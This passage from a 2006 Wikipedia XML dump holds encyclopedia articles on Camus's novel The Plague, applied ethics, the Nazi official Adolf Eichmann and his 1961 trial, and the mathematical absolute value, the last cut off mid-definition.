      <text xml:space="preserve">#REDIRECT [[The Stranger (novel)]]</text>
    </revision>
  </page>
  <page>
    <title>The Plague</title>
    <id>986</id>
    <revision>
      <id>41590765</id>
      <timestamp>2006-02-28T09:53:28Z</timestamp>
      <contributor>
        <username>That Guy, From That Show!</username>
        <id>419920</id>
      </contributor>
      <comment>Reverted edits by [[User:195.188.51.100|195.188.51.100]] ([[User talk:195.188.51.100|t]]) ([[Special:Contributions/195.188.51.100|c]]) to last version by That Guy, From That Show!</comment>
      <text xml:space="preserve">:''For other uses, see [[Plague|Plague (disambiguation)]].''

'''''The Plague''''' (''[[French language|fr]].'' '''''La Peste''''') is a [[novel]] by [[Albert Camus]], published in [[1947]], that tells the story of medical workers finding solidarity in their labor as the [[Algeria|Algerian]] city of [[Oran]] is swept by a [[pandemic|plague]]. It asks a number of questions relating to the nature of destiny and the human condition. The characters in the book, ranging from doctors to vacationers to fugitives, all help to show the effects the plague has on a populace.

{{spoiler}}

Generally taken as a metaphoric treatment of the [[French resistance]] to [[Nazi]] occupation during [[World War II]], ''The Plague'' is interpreted to mean much more. Camus uses extreme hardships (e.g., pain, suffering, and death) to represent our human world. The story is told through the narrative of the main character, Dr. Rieux, whose decidedly existential account of events in the story is not only helpful in exploring the philosophy of existentialism, but also in making this a metaphor of the nature of life and suffering. Although his approach in the book is severe, he emphasizes the ideas that we ultimately have no control, irrationality of life is inevitable, and he further illustrates the human reaction towards the ‘absurd’. ''The Plague'' represents how the world deals with the philosophical notion of the [[Absurdism|Absurd]], a theory which Camus himself helped to define.

==Main Characters==
*Dr. Bernard Rieux
*Jean Tarrou -- a man vacationing in Oran
*Raymond Rambert -- visiting journalist
*Cottard -- a fugitive
*Joseph Grand -- municipal worker who desires to be an author
*Father Paneloux -- a priest

==Minor Characters==
*Brakeley
*Castel
*Mme. Rieux
*M. Othon and his family
*The old man (Cat-spitting guy) 
*Asthma patient
*Gonzalas
*Richard
*Prefect
*Marcel and Louis
[[Category:Existentialism|Plague, The]]
[[Category:French novels|Plague, The]]
[[Category:1947 books|Plague, The]]

{{philos-novel-stub}}

[[de:Die Pest]]
[[es:La peste (novela)]]
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[[he:הדבר]]
[[pl:Dżuma (powieść)]]
[[fi:Rutto (romaani)]]
[[vi:Dịch hạch (truyện)]]
[[uk:Чума (роман)]]
[[zh:鼠疫 (小说)]]</text>
    </revision>
  </page>
  <page>
    <title>Applied ethics</title>
    <id>988</id>
    <revision>
      <id>40026706</id>
      <timestamp>2006-02-17T16:22:30Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">'''Applied ethics''' takes a theory of [[ethics]], such as [[utilitarianism]], [[social contract theory]], or [[deontology]], and applies its major principles to a particular set of circumstances and practices.  Typical examples include applied fields such as [[medical ethics]], [[legal ethics]], [[environmental ethics]], [[computer ethics]], [[corporate social responsibility]], or [[business ethics]]. Many considerations of applied ethics also come into play in [[human rights]] discussions.

The chief difficulty with formal, applied ethics is the potential for disagreement over what constitutes the proper theory or principles to apply, which is bound to result in solutions to specific problems that are not universally acceptable to all participants.  For example, a strict deontological approach would never permit us to deceive a patient about his condition, whereas a utilitarian approach would have us consider the consequences of doing so.  A deontologist will often come up with a very different solution than would a utilitarian, given the same facts.  

One modern approach attempting to address this is [[casuistry]].  Casuistry attempts to establish a plan of action to respond to particular facts - a form of [[case-based reasoning]].  By doing so in advance of actual investigation of the facts, it can reduce influence of interest groups.  By focusing on action and not the rationale, it increases the possibility of agreement between prior bodies of precedent and explicit moral codes. 

==List of subfields of applied ethics==

* [[Medical ethics]] / [[bioethics]]
* [[Business ethics]]
* [[Environmental ethics]] (e.g. [[global warming]])
* [[Human rights]] issues (e.g. [[gender ethics]] / [[sexism]], [[racism]], [[death penalty]])
* [[Animal rights]] issues
* [[Legal ethics]]
* [[Computer ethics]]
* [[Media ethics]] / [[journalism ethics]]
* [[Research ethics]]
* Education ethics
* Sports ethics
* Military ethics
* International ethics (e.g. [[world hunger]])

==See also==
*[[Ethics]]
*[[Ethical code]]s
*[[List of ethics topics]]

==Bibliography==
&lt;!--
Useful templates
{{cite book | first= | last= | year= | title= | chapter= | editor= | others= | pages= | publisher= | id= | url= | authorlink= }}
{{Journal reference | Author= | Title= (required) | Journal= | Year= | Volume= | Issue= | Pages= &amp;ndash; | URL= }} 
{{News reference  |firstname=  |lastname=  |pages=  |title=  |date=  |org=  |url= }}
--&gt;
* {{cite book | first=R.F. | last=Chadwick | year=1997 | title=Encyclopedia of Applied Ethics | chapter= | editor= | others= | pages= | publisher=London: Academic Press | id=ISBN 0122270657  | url= | authorlink= }}
* {{cite book | first=Peter | last=Singer | year=1993 | title=[[Practical Ethics]] | chapter= | editor= | others= | pages= | publisher=Cambridge University Press| id=ISBN 052143971X | url= | authorlink= }} (monograph)

===Anthologies===
* {{cite book | first=Peter | last=Singer | year=1986 | title=Applied Ethics | chapter= | editor= | others= | pages= | publisher=Oxford University Press| id=ISBN 0198750676 | url= | authorlink= }} 
* {{cite book | first=R.G. | last=Frey | year=2004 | title=A Companion to Applied Ethics | chapter= | editor= | others= | pages= | publisher=Blackwell | id=ISBN 1405133457 | url= | authorlink= }} 

===Journals===

* [http://www.journals.uchicago.edu/ET/home.html Ethics] (since 1890)
* [http://www.kluweronline.com/issn/1382-4554/contents The Journal of Ethics]
* [http://www.blackwellpublishing.com/journal.asp?ref=0264-3758 Journal of Applied Philosophy]
* [http://www.pdcnet.org/ijap.html International Journal of Applied Philosophy]
* [http://www.aspcp.org/ijpp/html/contents.html International Journal of Philosophical Practice]

==External links==

* [http://www.scu.edu/ethics Markkula Center for Applied Ethics at Santa Clara University]
* [http://www.ethics.ubc.ca W. Maurice Young Centre for Applied Ethics at the University of British Columbia]
* [http://www.indiana.edu/~appe Association for Practical and Professional Ethics at the University of Indiana]

[[Category:Ethics]]

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  </page>
  <page>
    <title>Adolf Eichmann</title>
    <id>989</id>
    <revision>
      <id>41893618</id>
      <timestamp>2006-03-02T12:32:45Z</timestamp>
      <contributor>
        <ip>129.187.244.28</ip>
      </contributor>
      <comment>/* Early life */</comment>
      <text xml:space="preserve">[[Image:OldEichmann.jpg|225px|thumb|Adolf  Eichmann, Germany 1940
Photo from [[United States Holocaust Memorial Museum]] Photo Archives.]]
'''Adolf Otto Eichmann''' ([[March 19]], [[1906]] &amp;ndash; [[June 1]], [[1962]]), born '''Karl Adolf Eichmann''', was a high-ranking official in [[Nazi Germany]] and served as an ''[[Obersturmbannführer]]'' in the [[Schutzstaffel|S.S.]] He was largely responsible for the logistics of the extermination of millions of people during [[the Holocaust]], in particular [[Jew]]s, which was called the &quot;[[final solution]]&quot; (''Endlösung''). He organized the identification and transportation of people to the various [[concentration camp]]s.  Therefore, he is often referred to as the 'Chief Executioner' of the [[Third Reich]].

==Early life==
Born in [[Solingen]], [[Germany]], Adolf Eichmann was the son of a moderately successful businessman and industrialist. In 1914, his family moved to [[Linz]], [[Austria]], and during the [[World War I|First World War]], Eichmann's father served in the [[Austro-Hungarian Army]].  At the war's conclusion, Eichmann's father returned to the family business in Linz.  In 1920, Eichmann's family moved to Germany.

==Pre-Nazi years==
[[Image:YoungEichmann.jpg|left|thumb|125px|Adolf Eichmann in 1932]]

When Eichmann came of age in 1925, he returned to Austria to study mechanical engineering. Being a poor student, however, he soon dropped out of college. Eichmann then tried to follow in his father's footsteps in business, working as a travelling salesman which brought him back to Germany in 1930. 

Eichmann's first contact with the [[Nazi Party]] was when he joined the [[Wandervogel]] movement, which has been described as &quot;a peasant Aryan brotherhood based on Anti-Semitic ideals&quot;.  There is evidence, however, that some of the ''Wandervogel'' groups had Jewish members, and anti-Semitism may have existed in only some parts of the movement.  In 1932, Eichmann returned again to Austria and formally joined the Austrian Nazi Party at the age of twenty-six.

==Nazi Party and the SS==
[[Image:SSEichmann.jpg|thumb|125px|SS-[[Scharführer]] Adolf Eichmann in 1933]]

On the advice of old family friend [[Ernst Kaltenbrunner]], Eichmann joined the Austrian branch of the [[Schutzstaffel|SS]], enlisting on [[April 1]] [[1932]], as an ''SS-[[Anwärter]]''.  He was accepted as a full SS member that November, appointed an ''SS-[[Mann (military rank)|Mann]]'', and assigned the SS number 45326. 

For the next year, Eichmann was a member of the part time [[Allgemeine-SS]] and served in a mustering formation operating from Salzburg. 

In 1933 when the Nazis came to power in Germany, Eichmann returned to that country and submitted an application to join the full time SS. This was accepted, and in November of 1933, Eichmann was promoted to ''[[Scharführer]]'' and assigned to the administrative staff of the [[Dachau concentration camp]].   

By 1934, Eichmann had chosen to make the SS a career and requested transfer into the ''[[Sicherheitspolizei]]'' (Security Police) which had, by that time, become a very powerful and feared organization. Eichmann's transfer was granted in November of 1934, as he was promoted to the rank of ''[[Oberscharführer]]'' and assigned to the headquarters of the [[Sicherheitsdienst]] (SD) in Berlin. Eichmann became a model administrator in the SD and quickly became noticed by his superiors.  He was promoted to ''[[Hauptscharführer]]'' in 1935 and, in 1937, commissioned as an ''SS-[[Untersturmführer]]''.

In 1937 Eichmann was sent to [[British mandate of Palestine|Palestine]] with his superior [[Herbert Hagen]] to assess the possibilities of massive Jewish emigration from Germany to Palestine. They landed in [[Haifa]] but could only obtain a transit visa so they went on to [[Cairo]]. In Cairo they met [[Feival Polkes]], an agent of the [[Haganah]], who discussed with them the plans of the Zionists and tried to enlist their assistance in facilitating Jewish emigration from Europe. According to an  answer Eichmann gave at his trial, he had also planned to meet Arab leaders in Palestine; this never happened because entry to Palestine was refused by the British authorities. Afterwards Eichmann and Hagen wrote a report recommending against large-scale emigration to Palestine for economic reasons and because it contradicted the German policy of preventing the establishment of a Jewish state there. This episode is sometimes seen as an important step towards the Nazi abandonment of emigration as the preferred &quot;solution to the Jewish problem&quot;. 

In 1938, Eichmann was assigned to Austria to help organize SS Security Forces in Vienna after the [[Anschluss]] of Austria into Germany. Through this effort, Eichmann was promoted to ''SS-[[Obersturmführer]]'', and by the end of 1938, Adolf Eichmann had been selected by the SS leadership to form the [[Central Office for Jewish Emigration]], which was in charge of forcibly deporting and expelling Jews from Austria.  Through this work, Eichmann became a student of Judaism, finding the religion fascinating while also developing deep [[Anti-Semitic]] values and a hatred of the Jewish faith.

==World War II==
[[Image:Eichmann1942.jpg|right|thumb|145px|Adolf Eichmann in 1942]]

At the start of the [[World War II|Second World War]], Eichmann had been promoted to ''SS-[[Hauptsturmführer]]'' and had made a name for himself with his Office for Jewish Emigration.  Through this work Eichmann made several contacts in the [[Zionist]] movement which he worked with to speed up Jewish Emigration from the Reich. 

Eichmann returned to Berlin in 1939 after the formation of the Reich Central Security Office ([[RSHA]]).  In December 1939, he was assigned to head ''RSHA Referat IV D4'', the RSHA department that dealt with Jewish affairs and evacuation.  In August 1940, he released his ''[[Madagascar Plan|Reichssicherheitshauptamt: Madagaskar Projekt]]'' (Reich Central Security Office: Madagascar Project), a plan for forced Jewish deportation that never materialized.  He was promoted to the rank of ''SS-[[Sturmbannführer]]'' in late [[1940]], and less than a year later to ''[[Obersturmbannführer]]''.

In 1942, [[Reinhard Heydrich]] invited Eichmann to attend the [[Wannsee Conference]] where Germany's anti-Jewish measures were set down into an official policy of [[genocide]]. To this &quot;Final Solution of the Jewish Question&quot; Eichmann was tasked as &quot;Transportation Administrator&quot;, which put him in charge of all the trains which would carry Jews to the Death Camps in [[Poland]]. For the next two years, Eichmann performed his duties with incredible zeal, often bragging that he had personally sent over five million Jews to their deaths by way of his trains. 

Eichmann's work had been noticed, and in [[1944]], he was sent to [[Hungary]] after Germany had occupied that country in fear of a [[Soviet Union|Soviet]] invasion. Eichmann at once went to work deporting Jews and was able to send four hundred thousand Hungarians to their deaths in the Nazi gas chambers. 

By [[1945]], Eichmann's world was collapsing, as Reich Leader [[Heinrich Himmler]] had ordered that Jewish extermination be halted and evidence of the Final Solution be destroyed. Eichmann blatantly turned against Himmler and continued his work in Hungary against official orders. Eichmann was also working to avoid being called up in the last ditch German military effort, since a year before he had been commissioned as a Reserve ''Untersturmführer'' in the [[Waffen-SS]] and was now being ordered to active combat duty. 

Eichmann fled Hungary in 1945 as the Russians invaded, and he returned to Austria where he met up with his old friend [[Ernst Kaltenbrunner]]. Kaltenbrunner, however, refused to associate with Eichmann since Eichmann's duties as an extermination administrator had left him a marked man by the Allies.

==Post World War II==
At the end of World War II, Eichmann was captured by the US Army, who did not know that this man who presented himself as &quot;Otto Eckmann&quot; was in fact a much bigger fish.  Early in 1946, he escaped from US custody and hid in various parts of Germany for a few years.  In 1948 he obtained a landing permit for [[Argentina]], but did not seek to use it immediately.  At the beginning of 1950, Eichmann went to [[Italy]], where he posed as a refugee named Ricardo Klement.  With the help of a Franciscan monk who had connections with archbishop [[Alois Hudal]], Eichmann obtained an [[International Committee of the Red Cross]] humanitarian passport and an [[Argentina|Argentinian]] visa.  He arrived by ship in Argentina on [[July 14]],  [[1950]].  For the next ten years, he worked in several odd jobs in the [[Buenos Aires]] area (from factory foreman, to junior water engineer and professional rabbit farmer). Eichmann also brought his family to Argentina. Argentina at the time was a haven for many Nazis.

==Capture==
[[Image:Adold Eichmann.jpg|thumb|125px|left|Adolf Eichmann during his 1961 trial in Jerusalem.]]
Throughout the 1950s many Jews and other victims of the Holocaust dedicated themselves to finding Eichmann and other Nazi [[war crimes|war criminals]]. Among them was [[Nazi hunter]] [[Simon Wiesenthal]]. In 1954, Wiesenthal's suspicions that Eichmann was in Argentina were sparked upon receiving a postcard from an associate who had moved to [[Buenos Aires]]. &quot;I saw that dirty pig Eichmann,&quot; the letter read in part, &quot;He lives near Buenos Aires and works for a water company&quot;. With this (and other) information collected by Wiesenthal, the [[Israel]]is had solid leads regarding Eichmann's whereabouts. [[Isser Harel]], the then-head of [[Mossad]] (Israeli intelligence agency), later claimed in an unpublished manuscript that Wiesenthal &quot;'had no role whatsoever' in Eichmann's apprehension but in fact had endangered the entire Eichmann operation and aborted the planned capture of Auschwitz doctor [[Josef Mengele]].&quot; (Schachter, Jonathan &quot;Isser Harel Takes On Nazi-Hunter. Wiesenthal 'Had No Role' In Eichmann Kidnapping.&quot; The Jerusalem Post [[7 May]] [[1991]])

Also instrumental in exposing Eichmann's identity was [[Lothar Hermann]], a worker of Jewish descent who fled to Argentina from Germany following his incarceration in the [[Dachau concentration camp]], where Eichmann had served as an administrator. By the 1950s, Hermann had settled into life in Buenos Aires with his family; daughter Sylvia became acquainted with the Eichmann family and romantically involved with Klaus, the oldest Eichmann son. Due to Klaus's boastful remarks about his father's life as a Nazi and direct responsibility for the [[Holocaust]], Hermann knew he had struck gold in 1957 after reading a newspaper report about German war criminals - of which Eichmann was one. Soon after, he sent Sylvia to the Eichmanns' home on a fact-finding mission. She was met at the door by Eichmann himself, and after unsuccessfully asking for Klaus, she inquired as to whether she was speaking to his father. Eichmann confirmed this fact. Excited, Hermann soon began a correspondence with [[Fritz Bauer]], chief [[prosecutor]] for the [[West Germany|West German]] state of [[Hesse]], and provided details about Eichmann's person and life. Bauer knew that Germany, served by former employees of the Nazi regime, would do little to serve justice to Eichmann. He contacted Israeli officials, who worked closely with Hermann over the next several years to learn about Eichmann and to formulate a plan to capture him.

In 1960, the [[Mossad]] discovered that Eichmann was in [[Argentina]] and began an effort to locate his exact whereabouts when, through relentless surveillance, it was confirmed that Ricardo Klement was, in fact, Adolf Eichmann. The Israeli government then approved an operation to capture Eichmann and bring him to [[Jerusalem]] for trial as a war criminal. He was captured by a team of Mossad agents on [[May 11]], [[1960]], as part of a [[covert operation]]. He was flown aboard an [[El Al]] airliner from Argentina to [[Israel]] on [[May 21]], [[1960]]. 

For some time the Israeli government denied involvement in Eichmann's capture, claiming that he had been taken by Jewish volunteers. Eventually, however, the pretense was dropped, and then prime minister [[David Ben Gurion]] announced Eichmann's capture to the [[Knesset]] (Israel's national legislature) on [[May 23]] [[1960]], receiving a standing ovation in return. [[Isser Harel]], head of the Mossad at the time of the operation, wrote a book about Eichmann's capture entitled ''The House on Garibaldi Street''; some years later a member of the capture team, [[Peter Malkin]], authored ''Eichmann in my Hands'', a book that contains fascinating insights into Eichmann's character and motivations, but whose veracity has been attacked.

==Trial==
[[Image:Eichmann_trial_1961_in_glass_box.jpg|right|thumb|Eichmann and a bulletproof glass booth during the open trial.]]

Eichmann's trial in front of an Israeli court in [[Jerusalem]] started on [[April 11]], [[1961]]. He was indicted on 15 criminal charges, including charges of [[crimes against humanity]], crimes against the Jewish people and membership of an outlawed organization. As in Israeli criminal procedure, his trial was presided over by three judges. [[Gideon Hausner]], the Israeli attorney general, personally acted as chief prosecutor. 

The trial caused huge international controversy as well as an international sensation. The Israeli government allowed news programs all over the world to broadcast the trial live with few restrictions. [[Television]] viewers saw a nondescript man sitting in a [[bulletproof glass]] booth while witnesses, including many [[the Holocaust|Holocaust]] survivors, testified against him and his role in transporting victims to the extermination camps. During the whole trial, Eichmann insisted that he was only &quot;following orders&quot; - the same defense used by the Nazi war criminals during the 1945-1946 [[Nuremberg Trials]]. He explicitly declared that he had abdicated his [[consciousness]] in order to follow the ''[[Führerprinzip]]''. This defense in turn promoted the [[Milgram experiment]]. 

After 14 weeks of testimony with more than 1,500 documents, 100 prosecution witnesses (90 of whom were Nazi concentration camp survivors) and dozens of defense depositions delivered by diplomatic couriers from 16 different countries, the Eichmann trial ended on [[August 14]], [[1961]] where the judges were then left to deliberate. On [[December 11]] the three judges announced their verdict where Eichmann was convicted on all counts. He was then sentenced to death on [[December 15]], [[1961]]. Eichmann appealed the verdict, mostly relying on legal arguments about Israel's jurisdiction and the legality of the laws under which he was charged.  He also claimed that he was protected by the principle of &quot;Acts of State&quot; and repeated his &quot;superior orders&quot; defence. On [[May 29]], [[1962]] Israel's Supreme Court, sitting as a Court of Criminal Appeal, rejected the appeal and upheld the District Court's judgment on all counts. On [[May 31]], Israeli president [[Itzhak Ben-Zvi]] turned down Eichmann's petition for mercy. Eichmann was [[hanging|hanged]] a few minutes after midnight on [[ June 1]], [[1962]], at [[Ramla]] prison, officially the only civil [[execution (legal)|execution]] ever carried out in [[Israel]]. Eichmann allegedly refused a last meal, preferring instead a bottle of [[Carmel]], a dry red Israeli wine of which he consumed about half of the bottle. He also refused to don the traditional black hood for his execution.

His last words were, reportedly, &quot;Long live Germany. Long live Austria. Long live Argentina. These are the countries with which I have been most closely associated and I shall not forget them. I had to obey the rules of war and my flag. I am ready.&quot;{{fact}}

His body was cremated and ashes scattered at sea the very next morning, so that no nation would serve as Adolf Eichmann's final resting place.

==Eichmann analysis==
In the 40 years since Eichmann's death, historians have speculated on certain facts regarding his life. The most important question is how responsible Eichmann was for the implementation of [[the Holocaust]].  Most agree that Eichmann knew exactly what he was doing; however, some &quot;Eichmann Defenders&quot; (his son included) state that he was unfairly judged and that he was only doing his duty as a German soldier.  

A third - and highly controversial - analysis came from political theorist [[Hannah Arendt]], a Jew who fled Germany before Hitler's rise, and who reported on Eichmann's trial for ''[[The New Yorker]]'' magazine. In ''[[Eichmann in Jerusalem]]'', a book formed by this reporting, Arendt concluded that, aside from a desire for improving his career, Eichmann showed no trace of [[anti-Semitism]] or [[psychological]] damage. She called him the embodiment of the &quot;banality of [[evil]],&quot; as he appeared at his trial to have an ordinary and common personality, displaying neither guilt nor hatred. She suggested that this most strikingly discredits the idea that the Nazi criminals were manifestly [[psychopath]]ic and different from ordinary people. (Many concluded from this and similar observations that even the most ordinary of people can commit horrendous crimes if placed in the right situation, and given the correct incentives, but Arendt disagreed with this interpretation.)

Eichmann's involvement with the SS Underground Group [[ODESSA]] is also a mystery, as there is evidence that Eichmann had contact with the group but did not actively participate in ODESSA activities.  Rumours also abound as to whether or not Eichmann personally knew [[Josef Mengele]] and whether or not the two [[war crimes|war criminals]] ever worked together in South America.  Mossad was convinced that Eichmann was a contact for Mengele and had planned to conduct a dual-capture operation in 1961 had Eichmann revealed Mengele's whereabouts.

A footnote to Eichmann's SS career focuses on the point as to why he was never promoted to the rank of full SS-Colonel, known as ''[[Standartenführer]]''.  With Eichmann's record and responsibilities, he would have been a prime candidate for advancement, yet after 1941, his SS record contains no evidence that he was ever even recommended for another promotion.  Many have speculated that [[Ernst Kaltenbrunner]] may have seen Eichmann as a dangerous man, rising through the SS ranks, and had curbed his SS career to prevent Eichmann from becoming too powerful.

{{multi-video start}}
{{multi-video item|filename=Eichmann trial news story.ogg|title= &quot;Guilty! Eichmann to Hang&quot;|description= U.S. news story on the Eichmann trial, from National Archives|format=[[Theora]]}}
{{multi-video end}}

==Books==
* [[Hannah Arendt]], ''[[Eichmann in Jerusalem]]: A Report on the Banality of Evil'' (1963)
* [[David Cesarani]], ''Eichmann: His Life and Times'' (2004)
* [[Harry Mulisch]], ''Case 40/61; report on the Eichmann trial'' (1963)
* Moshe Pearlman: ''The Capture of Adolf Eichmann'', 1961. (cited in Hannah Arendt: ''Eichmann in Jerusalem'', Penguin, 1994, p.235)
* Pierre de Villemarest, ''Untouchable—Who protected [[Martin Bormann|Bormann]] &amp; [[Heinrich Müller|Gestapo Müller]] after 1945...,'' Aquilion, 2005, ISBN 1904997023 (Gestapo Müller was one of the chiefs of Adolf Eichmann)

==External links==
* [http://www.bbc.co.uk/history/war/wwtwo/eichmann_01.shtml BBC: ''Adolf Eichmann: The Mind of a War Criminal'']
* [http://www.jewishvirtuallibrary.org/jsource/Holocaust/eichcap.html ''The Capture of Adolf Eichmann''] from the [[Jewish Virtual Library]]
* [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB150/index.htm Declassified CIA names file on Adolf Eichmann] - Provided by the ''[[National Security Archive]]''
* [http://www.nizkor.org/hweb/people/e/eichmann-adolf/transcripts/ Eichmann trial: The complete transcripts] - Provided by the ''[[Nizkor Project]]''

&lt;!--Interlanguage links--&gt;


[[Category:1906 births|Eichmann, Adolf]]
[[Category:1962 deaths|Eichmann, Adolf]]
[[Category:Natives of North Rhine-Westphalia|Eichmann, Adolf]]
[[Category:War criminals|Eichmann, Adolf]]
[[Category:Executed Nazi leaders|Eichmann, Adolf]]
[[Category:Holocaust|Eichmann, Adolf]]
[[Category:Lieutenant colonels|Eichmann, Adolf]]
[[Category:SS Officers|Eichmann, Adolf]]
[[Category:Nazi leaders|Eichmann, Adolf]]

[[ar:أدولف أيخمان]]
[[bg:Адолф Айхман]]
[[da:Adolf Eichmann]]
[[de:Adolf Eichmann]]
[[eo:Adolf EICHMANN]]
[[es:Adolf Eichmann]]
[[fi:Adolf Eichmann]]
[[fr:Adolf Eichmann]]
[[he:אדולף אייכמן]]
[[hr:Adolf Eichmann]]
[[hu:Adolf Eichmann]]
[[it:Adolf Eichmann]]
[[ja:アドルフ・アイヒマン]]
[[ka:აიხმანი, ადოლფ]]
[[ko:아돌프 아이히만]]
[[nl:Adolf Eichmann]]
[[no:Adolf Eichmann]]
[[pl:Adolf Eichmann]]
[[pt:Adolf Eichmann]]
[[ru:Эйхман, Адольф]]
[[sk:Adolf Eichmann]]
[[sr:Адолф Ајхман]]
[[sv:Adolf Eichmann]]
[[zh:阿道夫·艾希曼]]</text>
    </revision>
  </page>
  <page>
    <title>Absolute value</title>
    <id>991</id>
    <revision>
      <id>41279961</id>
      <timestamp>2006-02-26T06:34:28Z</timestamp>
      <contributor>
        <username>Kieff</username>
        <id>56905</id>
      </contributor>
      <minor />
      <comment>/* Notes */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''absolute value''' (or '''modulus'''&lt;sup id=&quot;ref_Argand&quot;&gt;&lt;small&gt;[[#endnote_Argand|1]]&lt;/small&gt;&lt;/sup&gt;) of a [[real number]] is its numerical value without regard to its [[sign]]. So, for example, 3 is the absolute value of both 3 and &amp;minus;3.  In computers, the [[mathematical function]] used to perform this calculation is usually given the name '''abs()'''.

Generalizations of the absolute value for real numbers occur in a wide variety of mathematical settings. For example an absolute value is also defined for the [[complex number]]s, the [[quaternion]]s, [[ordered ring]]s, [[Field (mathematics)|field]]s and [[vector space]]s.

The absolute value is closely related to the notions of [[magnitude (mathematics)|magnitude]], [[distance]], and [[norm (mathematics)|norm]] in various mathematical and physical contexts.

[[Image:Absolute value.png|frame|The graph of the absolute value function for real numbers.]] 

==Real numbers==

For any [[real number]] &lt;math&gt;a,&lt;/math&gt; the '''absolute value''' or '''modulus''' of &lt;math&gt;a,&lt;/math&gt; is denoted &lt;sup id=&quot;ref_Wolfram&quot;&gt;&lt;small&gt;[[#endnote_Wolfram|2]]&lt;/small&gt;&lt;/sup&gt; &lt;math&gt;|a|,&lt;/math&gt; and is defined as

:&lt;math&gt;|a| := \begin{cases} a, &amp; \mbox{if }  a \ge 0  \\ -a,  &amp; \mbox{if } a &lt; 0. \end{cases} &lt;/math&gt;

As can be seen from the above definition, the absolute value of &lt;math&gt;a&lt;/math&gt; is always either [[positive number|positive]] or [[0 (number)|zero]], never [[negative and non-negative numbers|negative]].

From a geometric point of view, the absolute value of a real number is the [[distance]] along the [[real number line]] of that number from zero, and more generally the absolute value of the difference of two real numbers is the distance between them. Indeed the notion of an abstract  [[distance function]] in mathematics can be seen to be a generalization of the properties of the absolute value (see [[#Distance|&quot;Distance&quot;]] below).

The following proposition, gives an [[identity (mathematics)|identity]] which is sometimes used as an alternative (and equivalent) definition of the absolute value:

'''PROPOSITION 1''':
:&lt;math&gt;|a| = \sqrt{a^2}&lt;/math&gt;

The absolute value has the following four fundamental properties:

'''PROPOSITION 2''':
:{| cellpadding=10
|-
|&lt;math&gt;|a| \ge 0 &lt;/math&gt;
|Non-negativity
|-
|&lt;math&gt;|a| = 0 \iff a = 0 &lt;/math&gt;
|Positive-definiteness
|-
|&lt;math&gt;|ab| = |a||b|\,&lt;/math&gt;
|[[Multiplicativeness]]
|-
|&lt;math&gt;|a+b|  \le |a| + |b|  &lt;/math&gt;
|[[Subadditivity]]
|}

Other important properties of the absolute value include:

'''PROPOSITION 3''':
:{| cellpadding=10
|-
|&lt;math&gt;|-a| = |a|\,&lt;/math&gt;
|[[Symmetry]]
|-
|&lt;math&gt;|a - b| = 0 \iff a = b &lt;/math&gt;
|Identity of indiscernibles (equivalent to positive-definiteness)
|-
|&lt;math&gt;|a - b|  \le |a - c| +|c - b|  &lt;/math&gt;
|[[Triangle inequality]] (equivalent to subadditivity)
|-
|&lt;math&gt;|a/b| = |a| / |b| \mbox{ (if } b \ne 0) \,&lt;/math&gt;
|Preservation of division (equivalent to multiplicativeness)
|-
|&lt;math&gt;|a-b| \ge |a| - |b| &lt;/math&gt;
|(equivalent to subadditivity)
|}

Two other useful inequalities are: 
:&lt;math&gt;|a| \le b \iff -b \le a \le b &lt;/math&gt;
:&lt;math&gt;|a| \ge b \iff a \le -b \mbox{ or } b \le a &lt;/math&gt;

The above are often used in solving inequalities; for example:

:{|
|-
|&lt;math&gt;|x-3| \le 9 &lt;/math&gt;
|&lt;math&gt;\iff -9 \le x-3 \le 9 &lt;/math&gt;
|-
|
|&lt;math&gt;\iff -6 \le x \le 12 &lt;/math&gt;
|}

== Complex numbers ==
&lt;div style=&quot;float:right; margin-left:3px; margin-right:3px&quot; title=&quot;Graphic Representation&quot;&gt;
[[image:complex.png]]
&lt;/div&gt;

Since the [[complex number]]s are not [[ordered set|ordered]], the definition given above for the real absolute value cannot be directly generalized for a complex number. However the identity given in Proposition 1:
:&lt;math&gt;|a| = \sqrt{a^2}&lt;/math&gt;
can be seen as motivating the following definition.

For any [[complex number]]

:&lt;math&gt;z = x + iy\,&lt;/math&gt;

the '''absolute value''' or '''modulus''' of &lt;math&gt;z&lt;/math&gt; is denoted &lt;math&gt;|z|,&lt;/math&gt; and is defined as

:&lt;math&gt;|z| :=  \sqrt{x^2 + y^2}.&lt;/math&gt;

It follows that the absolute value of a real number ''x'' is equal to its absolute value considered as a complex number since:

:&lt;math&gt; |x + i0| = \sqrt{x^2 + 0^2} = \sqrt{x^2} = |x|.&lt;/math&gt;

Similar to the geometric interpretation of the absolute value for real numbers, it follows from the [[Pythagorean theorem]] that the absolute value of a complex number is the distance in the [[complex plane]] of that complex number from the [[origin (mathematics)|origin]], and more generally, that the absolute value of the difference of two complex numbers is equal to the distance between those two complex numbers.

The complex absolute value shares all the properties of the real absolute value given in Propositions 2 and 3 above. In addition, If

:&lt;math&gt; z = x + \mathrm{i}y = r (\cos \phi + \mathrm{i}\sin \phi ) \,&lt;/math&gt;

and

:&lt;math&gt;\bar{z} = x - iy&lt;/math&gt;

is the [[complex conjugate]] of &lt;math&gt;z&lt;/math&gt;, then it is easily seen that

:&lt;math&gt;|z| = r\,&lt;/math&gt;

:&lt;math&gt;|z|=|\bar{z}|&lt;/math&gt;

:&lt;math&gt;|z| = \sqrt{z\bar{z}}&lt;/math&gt;

== Absolute value functions==
The real absolute value function is [[continuous function|continuous]] everywhere. It is [[derivative|differentiable]] everywhere except for ''x'' = 0.  It is [[monotonic function|monotonically decreasing]] on the interval &lt;nowiki&gt;(-&amp;infin;, 0]&lt;/nowiki&gt; and [[monotonic function|monotonically increasing]] on the interval &lt;nowiki&gt;[0, &amp;infin;)&lt;/nowiki&gt;. Since a real number and its negative have the same absolute value, it is an [[even function]], and is hence not [[invertible]].

The [[complex number|complex]] absolute value function is continuous everywhere but differentiable ''nowhere'' (One way to see this is to show that it does not obey the [[Cauchy-Riemann equations]]).

Both the real and complex functions are [[idempotent]].

==Ordered rings==
The definition of absolute value given for real numbers above can easily be extended to any [[ordered ring]]. That is, if &lt;math&gt;a&lt;/math&gt; is an element of an ordered ring &lt;math&gt;R&lt;/math&gt;, then the '''absolute value''' of &lt;math&gt;a&lt;/math&gt;, denoted by &lt;math&gt;|a| &lt;/math&gt;, is defined to be:

